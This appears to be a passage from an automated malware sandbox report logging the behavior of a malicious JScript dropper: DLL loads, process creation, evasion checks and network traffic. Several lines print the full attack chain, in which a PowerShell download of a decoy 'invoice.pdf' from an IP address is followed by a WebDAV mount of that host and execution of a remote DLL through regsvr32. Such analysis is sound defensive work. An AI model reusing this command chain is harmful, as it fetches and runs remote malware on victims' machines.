Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2186.js.csv");ITextStream.WriteLine(" entry:7353 f:bhssrf");ITextStream.WriteLine(" exec:2 f:bhssrf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4801			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5029			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep count: 4801 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep count: 5029 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7704	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7944	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000008.00000002.3056099428.000001AEC682F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000003.1820054488.000001CB2127A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1821498446.000001CB2127A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1821945727.000001CB21218000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1822255091.000001CB2127A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3057007525.000001AECBC5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

